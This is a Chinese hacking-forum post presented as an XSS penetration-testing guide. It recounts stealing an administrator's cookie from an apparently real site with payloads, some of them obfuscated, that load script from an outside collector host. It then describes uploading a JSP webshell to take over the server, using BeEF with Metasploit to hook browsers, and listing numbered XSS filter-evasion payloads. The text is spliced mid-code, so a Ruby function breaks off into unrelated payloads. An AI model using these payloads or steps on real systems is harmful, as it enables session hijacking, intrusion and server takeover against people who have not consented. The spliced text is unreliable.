HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

xss之渗透测试

  •   宝宝 ·2018-2-5 01:39:38·994 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式,很多人对于xss的利用大多停留在弹框框的程度,一些厂商对xss也是不以为然,都认为安全级别很低,甚至忽略不计,本文旨在讲述关于跨站脚本攻击的利用方式,并结合实例进行分析。

    我们构造的获取cookie的xss脚本代码,已经成功的提交到了网站后台。

    代码:

    </textarea>'"><script src=http://x.imlonghao.com/3E3nja?1371821300></script>
    或者
    </textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fx.imlonghao.com%2F3E3nja%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
    如图所示:
    经过1天的等待,网站管理员后台登录并查看我的我提交的脚本代码,跨站漏洞攻击平台顺利的接收到了发来的cookie身份认证信息。
    如图所示:
    利用firefox修改浏览器cookie为截取到的cookie,成功冒充管理员欺骗服务器进入管理后台查看反馈信息:
    后台登录url为:http://118.194.61.xxx/admin.do
    成功进入后台管理系统,并可以对所有栏目操作,包括CEO的微博帐号设置等,后台还包含上传功能,经渗透测试发现可以上传指定jsp脚本木马文件。
    成功上传jsp木马脚本到服务器目录,url为:http://wwww.xxx.com/pub/129/2013/files/job.jsp
    连接进入顺利执行指定jsp木马,可以接管目标服务器,上传下载,新建删除网站文件等,甚至可以执行系统命令。
    如图所示:
    xss渗透之BEEF利用
    BeEF是一个用于合法研究和测试目的的专业浏览器漏洞利用框架,它允许有经验的渗透测试人员或系统管理员对目标进行攻击测试,攻击成功以后会加载浏览器劫持会话。
    BeFF,它扩展了跨站漏洞的利用,能hook很多浏览器(IE和Firefox等)并可以执行很多内嵌命令。
    BeEF是目前欧美最流行的web框架攻击平台,它的全称是:the Browser exploitation framework project.
    通过xss这个简单的漏洞,BeEF可以通过一段编制好的javascript控制目标主机的浏览器,通过浏览器拿到各种信息并且扫描内网信息,同时能够配合metasploit进一步渗透主机。
    1、BEEF项目地址:http://beefproject.com
    2、安装BeEF
    下载Beef最新版本
    $ svn checkout http://beef.googlecode.com/svn/track/ beef
    $ ruby install
    选择第一项自动安装需要的相关gems即可,也可以选择2按照提示一个一个进行安装,安装完成后就可以直接启动了
    $ ruby beef -x
    3、使用BeEF
    启动BeEF
    #./beef
    命令行中显示的UI URL以后即为WEB接口,用浏览器打开,输入默认密码beef/beef,即可进入BeEF管理页面
    按照提示,假设此时目标192.168.11.1的服务器访问了这个demo页面:http://192.168.11.152:3000/demos/basic.html,则就被hook上了。
    如图所示:
    4、实施攻击
    hook持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令了,选择commands栏,可以看到很多已经分好类的攻击模块。
    其中,4种颜色分别表示:
    该攻击模块可用,且隐蔽性强
    该攻击模块可用,但隐蔽性差
    该用户模块是否可用还有待验证
    该攻击模块不可用
    例如,选取MISC下的Raw JavaScript模块作为测试用例,右端表格有该模块的详细说明,以及一些可选的参数等,输入Javascript code,点击Excute进行攻击。
    效果如图所示:
    5、proxy功能
    选中目标主机,右键,在菜单中选中Use as Proxy
    如图所示:
    然后再Rider选项卡中的Forge Request 编辑并发送想要发送的内容。
    如图所示:
    通过查看目标浏览器firebug记录,可以确信确实发送了该http,达到了代理效果。同时Rider下的History选项也记录了发送历史记录。
    如图所示:
    6、metasploit组合
    由于BeEF默认是不加载metasploit的,要使用Metasploit丰富的攻击模块,需要做些配置,BT5下,首先到beef目录下修改/pentest/web/beef/config.yaml文件,将其中的metasploit选项改为enable。
    如图所示:
    然后查看/pentest/web/beef/extensions/metasploit/config.yaml,查看到其中的pass默认为abc123,这是与metasploit通信约定的密码,转到msf目录/opt/metasploit/msf3/,新建一个 beef.rc文件,内容为:load msgrpc ServerHost=127.0.0.1 Pass=abc123,从而实现与beef的通信。
    启动msfconsole
    #msfconsole –r beef.rc
    如图所示,顺利启动服务。
    现在可以启动beef了,启动后,可以看到BEEF加载了204个metasploit的攻击模块。
    如图所示:
    现在可以使用metasploit的模块进行攻击了。
    如图所示:
    7、原理
    BEEF采用ruby语言编写,其目录结构如下所示:
    除去一些安装和说明文件,Beef最主要的目录有三个,core、extension和modules,BEEF的核心文件在core目录下,各种扩展功能在extension目录下,modules则为攻击模块目录。
    core目录是BEEF的核心目录,并负责加载extension和module。其中最关键的文件位于core\main目录下,其文件结构如下所示:
    client目录下均为js文件,是在受控客户端(hooked browser)使用的js文件,包括net、browser、encode、os等的实现,以update.js为例,在core\main\client\update.js中可以看到,定义了beef.updater,设置每隔5秒check一次是否有新的命令,如果有,则获取并执行之。
    console目录用于命令行控制。
    constants目录定义了各种常量。
    handlers目录主要用于处理来自受控客户端连接请求。
    models目录定义了一些基本的类。
    rest目录,即WEB服务基于REST原则,是一种轻量级的HTTP实现,在server.rb中可看到,是通过mount的形式将资源与URL相对应,即它不是一个简单的WEB目录服务,任何需要http服务的资源,都需要先mount才能使用。

    def mount(url, http_handler_class, args = nil)
            # argument type checking
            raise Exception::TypeError, ‘”url” needs to be a string’ if not url.string?

            if args == nil
              mountshttps://images2015.cnblogs.com/b ... 1972-1470860247.png”></SCRIPT>
    21.Non-alpha-non-digit XSS to 2
    <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
    22.Non-alpha-non-digit XSS to 3
    <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
    23.双开括号
    <<SCRIPT>alert(a.sourse);//<</SCRIPT>
    24.无结束脚本标记(仅火狐等浏览器)
    <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
    25.无结束脚本标记
    <SCRIPT SRC=//3w.org/XSS/xss.js>
    26.半开的HTML/JavaScript XSS
    <IMG SRC=”javascript:alert(‘XSS’)”
    27.双开角括号
    <iframe src=http://3w.org/XSS.html <
    28.无单引号、双引号、分号
    <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>
    29.换码过滤的JavaScript
    \”;alert(‘XSS’);//
    30.结束Title标签
    </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
    31.Input Image
    <INPUT SRC=”javascript:alert(‘XSS’);”>
    32.BODY Image
    <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
    33.BODY标签
    <BODY(‘XSS’)>
    34.IMG Dynsrc
    <IMG DYNSRC=”javascript:alert(‘XSS’)”>
    35.IMG Lowsrc
    <IMG LOWSRC=”javascript:alert(‘XSS’)”>
    36.BGSOUND
    <BGSOUND SRC=”javascript:alert(‘XSS’);”>
    37.STYLE sheet
    <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
    38.远程样式表
    <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
    39.List-style-image(列表式)
    <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
    40.IMG VBscript
    <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS


    994 次点击  
    收藏  转播  分享
      Reply  
    2743095174  2018-4-11 21:37:50 
    我只想说,大佬你太牛逼了
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   376 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-8-21 14:04, Processed in 0.056415 second(s), 18 queries .